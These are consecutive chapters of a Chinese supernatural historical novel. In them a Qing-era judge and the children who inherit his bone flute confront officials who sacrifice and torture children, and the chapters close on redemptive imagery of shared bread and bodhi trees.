三桅帆船“圣玛利亚号”甲板上,穿蕾丝裙的盛娇娇正踮脚给费尔南多系领结。她腕间金铃轻晃,黎澍左臂“石锁”刻痕骤然剧痛——那铃铛竟是人骨雕成!
“龙气烛在船首像里。”塔娜的骨铃嗡嗡震颤,“是……疍民童尸的喉骨做的!”
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海浪声里,黎澍恍惚回到山东祭坛:
石锁被铁链吊在烈火上,却咧嘴冲他笑:“黎举人,俺藏了窝头!”
孩子从□□摸出发霉的窝头丢来:“快吃……吃了才有力气砍链子!”
窝头砸在黎澍脚边时,白莲教妖师的刀也劈向石锁脖颈——
噗嗤!
现实中的利箭擦过黎澍耳际,钉进身后礁石。
盛娇娇举着小弩娇笑:“黎判官,我爹说您骨头值万两黄金呢!”
她脚边铁笼里关着十几个疍民孩童,正哆嗦着啃掺沙的窝头。
“放人!”黎澍掏出怀中窝头,“用这个换。”
费尔南多蓝眼放光:“是‘祭坛圣食’!快给我!”
---
交易瞬间,盛娇娇突然摇响人骨铃!
刺耳音波掀翻黎澍,笼中孩童集体抱头哀嚎——他们耳孔里竟爬出血红的海蚯蚓!
“是‘血蚓蛊’!”塔娜割掌洒血,萨满血滴入海刹那,浪涛中浮出千万磷光。
蓝眼泪汇聚成巨掌托起黎澍,他看见塔娜的童年幻象:
暴雪夜的小塔娜吮着母亲腕血,女人瞳孔渐散:“暖血……要暖到骨头里……”
“明白了吗?”现实中的塔娜七窍流血,“萨满的血……本就是引蛊的灯!”
她反手将血抹上人骨铃,铃声骤变《摇疍船》的调子:
“摇疍船,葬深湾,血暖骨舟渡冤魂……”
蛊虫在歌声中僵死。盛娇娇惊怒摔铃:“贱民的血怎会暖?!”
---
费尔南多趁机劈开船首像——一尊乾隆面容的尸蜡像赫然显露!蜡像眼窝嵌着艾米莉制过的“佛光烛”,烛芯竟是蜷缩的金发婴儿!
“艾米莉的……”文森特目眦欲裂。
尸蜡像突然睁眼,口吐和珅之声:“万镜归墟阵成矣!嘉庆小儿活不过中元!”
黎澍判官笔直指蜡像眉心:“石锁,烧了它!”
左臂“石锁”刻名迸出幽火,却听盛娇娇尖笑:“你舍得烧吗?”
她扯开衣襟,心口皮肉竟缝着半块风干的窝头——与黎澍那半块裂痕完全吻合!
“石锁哥的窝头早被我吃了。”女孩舔着嘴唇,“他的魂……在我胃里暖着呢!”
---
黎澍如遭雷击。
幻象中石锁的呼唤海啸般涌来:
“黎举人!砍啊!俺早不是窝头味了!”*
塔娜突然夺过文森特的手术刀,捅进自己心口!
热血喷溅在盛娇娇胸前的窝头上,那干硬的窝头竟发芽抽枝,绽出嫩绿新叶!
“萨
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满的血能暖活万物。”塔娜脸色惨白,“除了……蛆虫的心!”
新叶缠绕盛娇娇脖颈的刹那,黎澍挥笔如刀斩向尸蜡像——
咔嚓!
蜡像崩裂处露出真容:哪是什么龙气烛,分明是盛娇娇生母的头盖骨碗!碗中盛满浊油,浸泡着写有嘉庆生辰八字的符纸。
“娘……”盛娇娇突然瘫软,“爹说您跟洋人跑了……”
---
费尔南多见势不妙,点燃火药舱。
爆炸气浪中,黎澍抓起发芽的窝头塞进盛娇娇怀里:“抱紧你娘!”
众人跃入怒海。
浊浪里浮出森白巨影——竟是数百疍民先祖的鲸骨遗骸拼接成舟!
骨舟载着众人破浪时,黎澍左臂刻名滚烫。
石锁的声音混着海风轻笑:
“黎举人,俺这回真走啦……
船头的阿妹说,南海有块地界……
窝头管够!”
朝阳刺破乌云,黎澍将判官笔浸入海水。
水纹荡开一行血字:
“凡以童骨为器者,虽远必诛!”
骨舟靠岸时,老陶从怀里摸出个油布包——里面裹着半块发霉的驴打滚,正是柳墨斋案中二格死前攥着的证物!
“和珅炼人油处:圆明园海晏堂地窖”
---
黎澍将发芽窝头举向朝阳:“石锁,你看——”
嫩叶托着露珠滚进海中,顷刻间千里波涛绽开碧绿莲影。
骨舟上,盛娇娇将脸埋进母亲头骨碗,终于嚎啕出声。
这吃人的世道,
终将被最卑微的骨头掀翻!
7. 万镜噬
圆明园西洋楼死寂如坟。
海晏堂十二生肖铜像口鼻流血,喷泉池已成粘稠血潭。老陶盯着手中发霉的驴打滚,突然跪地痛哭——血潭里浮出个啃窝头的男童,眉眼竟像极他早夭的孙子!
“和珅用我孙儿的骨灰砌了喷泉底……”老陶颤抖着扒开池底青砖,露出森白幼骨,“他说要借‘童骨泉’污了嘉庆爷的命数!”
黎澍左臂刻名灼痛,石锁的声音混着水声传来:
“黎举人,这池子底下……埋着三百童尸的牙!”
话音未落,午时钟响。
十二铜像骤然扭头,兽瞳射出红光汇向远瀛观——那里矗立着由千面西洋镜拼成的万镜噬魂塔!
塔内镜廊无尽延伸。
黎澍踏进一步,镜中忽现三年前临清祭坛上的自己——黑袍染血,正将判官笔捅进石锁心口取骨!
“不!我救的是……”黎澍嘶吼未毕,却见更多镜影闪现:
甘肃灾民啃食树皮时,他将白莲教主苏克哈的名字从生死簿划去;
澳门疍童沉海时,他袖手旁观只为追踪龙气烛;
“判官大人看清了?”和珅的笑声从镜阵深处传来,“您笔下的冤魂,可比本官多得多!”
---
塔娜突然割开双腕,热血泼向镜面!
镜中血色幻象消融处,露出真实记忆:
石锁临死前拼命将窝头塞进黎澍怀中:“笔!拿笔……给俺们写条活路!”
黎澍颤抖接笔时,孩子在他手心画了个笑脸。
“你的罪我背一半!”塔娜将黎澍染血的左手按在自己心口,“萨满的心……暖得起!”
她腕血滴落处,黎澍怀中的半块窝头突然自燃!
幽火中浮出石锁的虚影,孩子笑着指向镜塔顶端:
“黎举人,塔尖那面最大的镜子——照的是乾隆爷的棺材!”
---
众人冲至塔顶,惊见屋脊镶着丈余宽的东海水银镜——镜面映出停灵景山的乾隆梓宫,棺椁缝隙竟渗出黑雾!
“皇上早被炼成尸傀了。”盛娇娇突然现身,怀中紧抱母亲头骨碗,“和珅用头七回魂夜,要借龙尸重启万镜阵!”
她掀开骨碗,内里浸泡的嘉庆八字符纸已爬满蛆虫。
黎澍判官笔直指镜心:“石锁,烧棺!”
左臂幽火喷涌刹那,镜中乾隆尸首猛地睁眼——
噗嗤!
文森特的手术刀捅进黎澍后心!
“对不住……”文森特泪流满面,“艾米莉被他们扣在景山……”
---
黎澍踉跄跪地,心口血浸透窝头残渣。
他却在剧痛中笑起来:“这一刀……我等很久了。”
染血窝头突然涨裂,露出半截**刻满冤魂姓名的肋骨——正是三年前石锁省给他的那根!
黎澍反手抽骨为刀,狠狠扎进镜面:
“乾隆三十九年山东石锁,诉贵胄虐杀童罪!”
“乾隆五十四年甘肃艾米莉,诉官吏炼人油罪!”
“乾隆五十八年澳门陈阿水,诉洋商溺童罪!”
每喊一罪,骨刀便深插一寸。万千镜面炸裂声中,黎澍最后暴喝:
“嘉庆元年刑部黎澍,诉这煌煌大清——吃尽民膏民血,罪当碎尸万段!”
骨刀崩碎!
飞溅的骨片如流星刺向四方,镜塔轰然坍塌!
---
硝烟散尽,黎澍奄奄一息倒在废墟中。
怀中窝头灰烬被风吹散,露出
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三百童尸的乳牙——每颗牙都映着一点微光,汇聚成巨大光幕:
甘肃妇人跪求一碗薄粥;
疍家女赤脚踩过蚝壳滩;
山东老汉在旱地里刨草根……
微光最终凝成一面由万民血泪铸就的巨光,直照景山!
棺中乾隆尸首在镜光中剧烈抽搐,七窍钻出经卷虫——
“不!”和珅从虫群跌落,锦衣被光灼得千疮百孔,“本官的佛光怎会输给贱民的……”
“因为你忘了。”黎澍咳血大笑,“佛,本是凡人修的!”
黎澍咽气时,废墟绽出嫩芽——石锁省下的窝头终成菩提树苗
树根缠绕和珅尸身,和珅被树根缠绕时,突然喃喃:“早知……该给娇娇多吃几块驴打滚……”
盛娇娇将母亲头骨碗埋入树根:“娘,下辈子我蒸窝头养您。”
塔娜剜出萨满心葬于树下:“暖一世血,换一刹菩提荫。”
文森特兄妹远渡重洋,携万民镜影像著《吃人世》
十日后嘉庆下旨查抄和珅,搜出未完工的“万镜噬魂塔”图纸
百姓传唱新童谣:“窝头渣,菩提芽,照妖镜破金銮驾!”
三年后,小乞丐在菩提树下捡到半截判官骨。
骨上刻着新生的名字,在月光下微微发烫——
“道光元年,云南矿童泣血案,诉!”
菩提树影里,新帝道光踏过废墟。
忽有窝头香随风飘来,小太监惊呼:“皇上快看!”
只见枝头新结的菩提子,颗颗浑圆如金黄的窝窝头。
>**这人间最凶的刀,
>原是百姓省下的口粮。**
>**最亮的镜,
不过是苍生未干的泪光。
8. 判官骨
道光元年冬,云南东川府。
十二岁的矿奴阿糠攥着半块发黑的窝头,在汤丹铜矿的窿道里爬行。岩壁渗水叮咚,恍惚化作三年前京城菩提树的铃音——那夜他饿晕树下,树影里竟浮出个断臂书生,将半截莹白骨笛塞进他手心:
“凡遇食童骨者,吹此笛,判官必至。”
“哐当!”
监工的鞭子抽飞窝头。阿糠蜷缩着舔舐笛上刻痕——那里嵌着三个针尖小字:黎澍骨。
“小崽子藏吃的?”监工踩住窝头狞笑,“矿上规矩,私藏口粮者……”
话未毕,窿顶突然坠下巨石!
轰响中阿糠听见笛内传来童谣:
“铜山哭,矿鬼伏,万童血炼紫云炉!”
---
塌方窿道外,新任东川知府程含章蹙眉翻验尸册:“连死九十六童工,竟报‘时疫’?”
随行仵作忽惊呼:“大人看这具!”
尸堆最下方,阿糠被压得口鼻溢血,手中骨笛却莹白生辉。笛光映照处,岩壁显出血字:
“道光元年十一月初七,汤丹厂‘人牲祭矿’:
九十六童钉颅于矿脉,换精铜三千斤!”
程含章掰开阿糠掌心,见窝头碎渣里裹着张油纸:“经手人:矿监福升(和珅孙仆)”
“受益者:内务府造办处”
“黎澍……”程含章摩挲骨笛喃喃,“原来你留了把尺子,量这世道的骨头。”
---
阿糠再睁眼时,置身破败山神庙。
火堆旁坐着个洋装女子,正用手术刀削烤窝头——刀柄镶着颗幽蓝眼珠,与文森特当年所持一模一样!
“艾米莉姑姑?”阿糠想起菩提树下的传说。
女子苦笑:“叫姨吧,我哥若活着,该当你爷爷辈了。”
她将窝头穿在刀尖递来:“吃,吃完带你看场大戏。”
庙外忽传来喧哗。
矿监福升正指挥衙役鞭打矿工:“谁再传‘童祭’,这就是下场!”
艾米莉突然甩刀——
手术刀钉着窝头掠过福升头顶,削掉他半边发辫!
“嘉庆四年,和珅用缅甸童尸炼‘镇国鼎’。”艾米莉冷笑,“你这手法,比你祖宗馊多了!”
---
深夜矿洞,艾米莉撬开“紫云炉”基座。
炉底赫然浇铸着九十六具童尸铜像,每尊像天灵盖插着铜管,管口凝结着莹绿铜液!
“他们活着被灌铜汁。”艾米莉的蓝眼珠在黑暗中发颤,“铜膏冷却时心跳骤停,能炼出带‘血丝纹’的贡铜……”
阿糠的骨笛骤然发烫,笛孔飘出矿童歌声:
“铜水烫,心口凉,贵人碗筷响叮当!”
福升突然带兵围洞:“洋妖妇污蔑皇差!放毒烟!”
毒雾弥漫中,阿糠见铜像眼角淌下铜泪——
泪滴落地竟化作青绿矿苗,疯长成藤缠住福升!
---
阿糠下意识吹响骨笛。
笛声里,黎澍的虚影自铜泪中浮现,断臂处抽出翡翠藤蔓,在岩壁刻下血律:
“凡以人炼器者,当受其器百年噬心之苦!”
藤蔓突然钻进福升七窍!
他惨叫着抓挠胸口,皮下竟凸起
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树枝状铜纹——转瞬裹成具人形铜树,枝头挂满带血丝的铜豆。
“黎澍的判官骨……发芽了?”程含章震惊。
艾米莉拾起铜豆轻嗅:“是铜矿种子……能吸尽污血之地灵气。”
她将豆子撒向矿场废墟:“十年后,这里会是片沃野。”
---
出云南那日,大雪封山。
阿糠舔窝头渣自语:“矿上的耗子都比咱吃得多……好歹耗子能啃铜矿呢!”
艾米莉冷笑:“耗子啃铜?那叫自杀!人吃铜?那叫吃人!”
阿糠将最后窝头掰给艾米莉:“姨,黎判官的骨头……为什么选我?”
“三年前你饿晕在菩提树下。”艾米莉指向他心口,“树影里伸出三百只孩童的手,都往你怀里塞窝头渣“。”离滇马车上,程含章忽见阿糠在《大清律例》扉页画满窝头。
“画这作甚?”
孩子仰头笑:“黎判官说啦,律法这玩意儿——”
“得拿百姓的口粮垫着,才立得稳!”
她翻出油布包着的《吃人世》手稿,扉页夹着片干枯的菩提叶:
“判官骨非器,乃未冷之心。”
“心暖处,万民皆可执笔!”
雪地上,阿糠用骨笛画出第一个字:“诉”
笔画间绽出点点绿芽,朝着京城方向蔓延。
山巅传来矿童新谣:
“铜山青,判官苗,窝头粒粒照天烧!”
“画这作甚?”
孩子仰头笑:“黎判官说啦,律法这玩意儿——”
“得拿百姓的口粮垫着,才立得稳!”
9. 血釉灯
道光五年春,景德镇御窑厂。
阿糠攥着骨笛缩在陶车后,监工鞭影在胚泥间炸响。昨夜新来的九岁窑童小枣,正被拽去“点釉房”——经过他身边时,孩子突然将半块掺瓷粉的窝头塞进阿糠鞋里,用口型说:“给判官……”
三更时分,窑神庙地窖。
程含章借油灯验看窝头,瓷粉在光下泛出诡蓝:“这是‘骨瓷釉’!掺了童尸骨灰的御窑秘料!”
话音未落,窝头突然裂开,露出张血字纸条:
“寅时三刻,童魂灌大龙缸!”
“祭品:九九童”
字迹被瓷粉灼出焦痕,如九百九十九道鞭印。
---
程含章指尖抚过焦痕,怀中的黎澍骨笛突然发烫。
热流裹挟他坠入幻象:
嘉庆四年冬,黎澍残魂飘至景德镇。
夜窑深处,老画工正用人血调釉绘九龙。黎澍的断臂骨忽化齑粉,混入釉浆。
次日开窑,龙缸炸裂,裂痕竟拼成“冤”字!
老画工被活埋前,将带血釉的窝头塞给孙儿:“去京城……找棵结窝头的菩提树……”
幻象消散,程含章手中的窝头渣簌簌掉落——
每粒渣都映出小枣惊恐的脸!
---
子夜御窑,九十九座窑炉吞吐蓝焰。
阿糠爬进通风道,见中央祭台矗立丈高龙缸胚体。九十九名赤膊童工被铁链锁在缸沿,手腕割开血口,鲜血顺凹槽汇向缸底釉池!
“血釉点睛,龙缸化龙!”窑监福荫(福升之弟)癫狂高呼。
小枣因失血昏厥,被倒吊着浸入釉池。蓝釉触血的刹那,池中浮出黎澍虚影——
“笛子!”阿糠急吹骨笛。
笛声却引动釉池沸腾,黎澍虚影反被血釉裹成陶俑!
福荫狞笑抓起阿糠:“正愁缺个‘笛魂釉’呢!”
---
地动山摇!
程含章率兵破窑而入,却见福荫将阿糠塞进龙缸胚体。湿泥封口的瞬间,艾米莉的手术刀凌空劈至——
“喀嚓!”
刀锋卡进陶泥,缸内传出阿糠闷吼:“用火!黎判官说……瓷胎怕暖!”
艾米莉眼珠骤亮,掏出窝头按在刀柄。
窝头遇热汽蒸腾,刀柄镶嵌的文森特骨灰竟迸出蓝光,顺着刀槽灌入胚体!
龙缸内部,阿糠见骨笛吸足水汽,笛孔钻出翡翠藤蔓——
正是云南铜矿里绞杀福升的判官苗!
藤蔓暴涨撑裂缸体,血釉四溅如雨。阿糠怀抱小枣破陶而出,满身瓷渣竟开满湛蓝的龙胆花。
---
福荫见势逃往釉库。
众人追入,惊见库房梁柱挂满人皮灯笼!每盏灯罩用童尸背皮绷制,内燃幽绿焰心——焰中蜷缩着婴孩虚影。
“九百九十九童魂炼的‘万寿灯’!”福荫点燃引线,“今夜就要呈进养心殿!”
程含章挥剑砍灯,灯焰溅落处地面竟腐蚀出骷髅状深坑!
阿糠骨笛突射金芒,照出灯笼背面的小字:
“江西童:血釉灯,云南童:紫云铜,直隶童……”
最后一行墨迹未干:
“道光五年四月初八,御窑奉旨炼‘鸦片童兵’九百九十九!”
“鸦片兵?”艾米莉捡起灯油渣一嗅,“是罂粟膏混脑髓油!”
---
福荫狂笑着抛出火折。
火星触灯海的刹那,阿糠将骨笛狠狠插进心口!
心头血喷涌成雾,黎澍的嘶吼响彻釉库:
“凡食民膏者——民火焚身!”
血雾裹住灯焰反卷向福荫。
人皮灯笼遇血竟朵朵绽放,绽出九百九十九盏窝头形灯盏!蓝焰转暖黄,灯中婴魂舒展如新生。
“不!我的万寿灯……”福荫在窝头灯阵中翻滚。
焰舌舔过他腰间象牙牌,牌上字迹赫然显现:
“监造:内务府造办处奉旨人:穆彰阿”
——当朝首席军机大臣!
---
窝头灯焰汇聚成光柱,轰穿御窑顶棚。
月光倾泻中,阿糠心口的骨笛抽枝展叶,藤蔓缠成盏巨灯悬于夜空,灯壁浮现流动画面:
云南矿洞,铜树福升的枝条被灾民劈碎煮粥;
澳门妈阁庙,盛娇娇教疍童蒸窝头;
京
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城菩提树下,乞丐们争拾坠落的“窝头菩提”……
光瀑笼罩景德镇,满城御窑青花竟褪去幽蓝,透出温润暖白。
小枣忽然指着釉库角落:“有字!”
黎澍的断骨在墙上烙出偈语:
“民魂为釉,不照龙庭照荒冢。”
“口粮作灯,只暖寒窑不暖宫!”
---
突有马蹄声破夜而至。
穆彰阿的亲兵铁桶围窑,火枪齐指众人:“私毁贡品,格杀勿论!”
福荫爬向穆彰阿哭嚎:“大人!鸦片童兵……”
“童兵在此。”穆彰阿轻笑击掌。
兵阵后走出九百九十九名瞳泛绿光的孩童,口角流着罂粟膏涎液,机械地撕咬手中窝头!
“用你们的暖灯喂他们吧。”穆彰阿捻着翡翠扳指,“吃饱了,好给英吉利人的炮舰填药!”
---
艾米莉突然掀开马车,露出满车**霉窝头与铜矿苗!
“阿糠,点火!”
骨笛藤蔓扎进窝头堆,程含章挥剑劈向铜矿苗——
金石相击,星火迸溅!
窝头山轰然燃起碧焰,火中浮出三百童魂虚影,齐唱《窝头谣》:
“窝窝头,蘸香油,喂饱判官斩贼头……”
歌声中鸦片童兵集体僵直,眼中绿光渐褪。
一个小兵突然捡起燃火的窝头啃食,烫得哇哇大哭:“娘!饿!”
穆彰阿暴怒拔枪,子弹却被暖焰熔成铜汁。
阿糠在火光中举起骨笛:“黎判官,您看清了——”
“这人间最烈的火,是百姓省下的口粮!”
---
阿糠在判官灶边教小枣写字。
孩子歪扭写下“粥”字,忽抬头问:“哥,黎判官为啥变灶王爷了?”
阿糠添根柴,暖焰噼啪炸出个“暖”字:
“因为饿肚子的神仙,
才懂凡人要的不过是口热饭。”
三年后,虎门海滩。程含章掀开鸦片箱,惊见箱内垫着发霉的窝头,窝头孔洞塞满带血釉的碎骨。骨渣拼出穆彰阿笔迹:“以民骨挡炮,以民魂制夷——此大清存亡之道!”
10. 窝头菩提
道光二十二年夏,镇江城郊。
阿糠趴在焦黑的稻田里,怀中骨笛滚烫如烙铁。江面英舰“复仇女神号”的炮火犁过大地,硝烟里飘着烧糊的窝头香——那是清军海龄下令焚烧的十万民粮!
“大人!西津渡还有三船粮没烧……”副将话音未落,海龄长刀已贯穿他胸膛:“本帅宁效长沙焦土策,决不资敌一粒米!”
血溅在阿糠脸上,他看见副将怀中掉出半块霉窝头,上面刻着小字:
“留给孩子”
当夜,阿糠潜入粮船。
舱内景象令他窒息——数百孩童被铁链锁在粮堆中,腕上烙着“药”字!
“鸦片童兵……升级了。”艾米莉的声音从暗处传来。她掀开麻袋,露出成捆的罂粟杆与紫铜针管:“穆彰阿把他们炼成‘活人药囊’,专供英军止痛!”
---
骨笛突射青光,裹着阿糠坠入历史残影:
嘉庆元年,白莲教围攻长沙。
守将焚烧粮仓时,黎澍的断臂正从祭坛血泊中抽出菩提苗。
“接住!”少年程含章将窝头抛向火海,“民粮烧了,民心也要烧吗?”
窝头触火刹那,竟化金芒轰穿城墙——
轰隆!
硝烟散处,城外饿殍手中皆托着发光窝头,汇聚成遮天巨掌拍向清军!
“黎澍的菩提……是饿出来的。”艾米莉将铜针扎进童兵手臂抽血,“就像你笛子里的暖苗,非得把人逼到绝处才发芽。”
---
英军医疗帐内,童兵血液被注入锡罐。
军医举罐狂笑:“上帝啊!东方的活体鸦片比吗啡纯十倍!”
罐壁忽然浮出血管状纹路——竟是程含章用判官血写的律法:
“凡吸童血者,血沸而亡!”
惨嚎声乍起!
吸毒液的英军浑身毛孔喷血,帐内下起腥红热雨。
阿糠趁机斩断童兵锁链:“快吃!”
窝头渣撒落满地,孩子们却机械地捡起塞进枪管——他们早被训练成“人形武器”!
---
海龄率残军退守北固山。
炮火中山石崩裂,露出岩缝间一株焦黑的菩提树苗——正是长沙战役中黎澍所植!
“烧!连树带山烧干净!”海龄的火把掷向树根。
烈焰腾起刹那,阿糠怀中的骨笛突然飞出,扎根火海!
笛孔喷出云南铜矿苗、景德镇血釉灯焰、澳门疍民骨片,裹着九百九十九盏窝头灯的光,尽数灌入焦树——
喀啦!
焦树裂开,树心竟裹着黎澍的断臂白骨!
白骨握紧的拳头里,掉出程含章当年抛入长沙火海的半块窝头。
“师父……”阿糠接住窝头泪如雨下,“您等这捧火,等了四十年吧?”
---
窝头遇火不焚,反膨胀如巨鼓。
阿糠以骨笛为槌,狠狠敲响窝头鼓!
鼓声荡开时,镇江废墟里钻出无数绿芽——
烧焦的稻根抽出翡翠穗;
崩裂的城墙绽出龙胆花;
英舰铁甲爬上铜矿藤……
江面突然隆起巨丘,一尊由百万窝头垒成的巨灶破浪而出!灶眼吞吐碧焰,照得天地通明。
“是万民灶!”艾米莉的蓝眼珠映满火光,“黎澍在菩提树里埋了火种……”
灶台上浮现黎澍虚影,挥臂如刀劈向长江——
“道光二十二年七月初七,镇江饿殍诉:”
“请夷舰入灶——为菜!”
---
巨灶掀起滔天热浪,英舰如落叶卷入灶眼。
钢铁在碧焰中熔成赤红汁液,浇入灶底凝成巨碑,碑文灼灼:
“此地曾焚民粮十万”
“今以夷舰为薪,熬粥暖世”
海龄在热浪中癫狂冲锋:“本帅的焦土策成了!杀呀……”
话音未落,灶台飘落一枚窝头状菩提果,正砸在他头盔上——
噗!
头盔凹陷
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处钻出嫩绿藤蔓,瞬间缠裹全身。
“长沙粮……镇江苗……”海龄在藤茧中喃喃,“原来焦土里……真能发芽?”
---
硝烟散尽,万民灶冷却如青铜鼎。
阿糠攀至灶顶,见灶心盛满清亮白粥。数百童兵围坐灶边,捧着破碗吸溜米汤。
“黎判官呢?”小枣舔着碗底问。
艾米莉指向灶壁浮雕:
黎澍与石锁共咬半块窝头;
文森特兄妹验查米缸;
老陶醉卧酒泉;
塔娜的血渗入大地脉络……
“都在。”阿糠掰碎最后窝头撒入粥锅,“从今往后——”
“饿肚子的地方,就有判官席!”
---
十年后,北固山菩提树已成林。
树根缠着“镇江条约”石碑,碑文被苔藓吞没,唯剩一行凹痕:
“赔款两千一百万窝头”
洋商指着凹痕问翻译:“窝头是什么货币?”
守林老人(阿糠)笑而不语,递来枚金黄菩提果。
洋商咬破果皮,满口糯香——
竟是蒸熟的窝窝头!
“Thisistherealtreaty……”(这才是真正的条约)洋商喃喃。
长江涛声里,新童谣顺流而下:
“窝头碑,菩提灶,饿殉坐上判官庙!”
---
阿糠须发皆白时,见小枣的孙子在菩提树下授课。
孩童奶声奶气读碑文:
“凡判官席上——
空碗必有饭,
饿者皆为宾,
举筷即公道!”
江风吹落窝头状的菩提果,坠入孩子空碗。
香气漫过百年血火,温柔如初。
这人间最锋利的刃,
>原是众生捧出的饭碗。
>最暖的灶,
不过是你省下那半口粮,
焐热了我掌心的霜。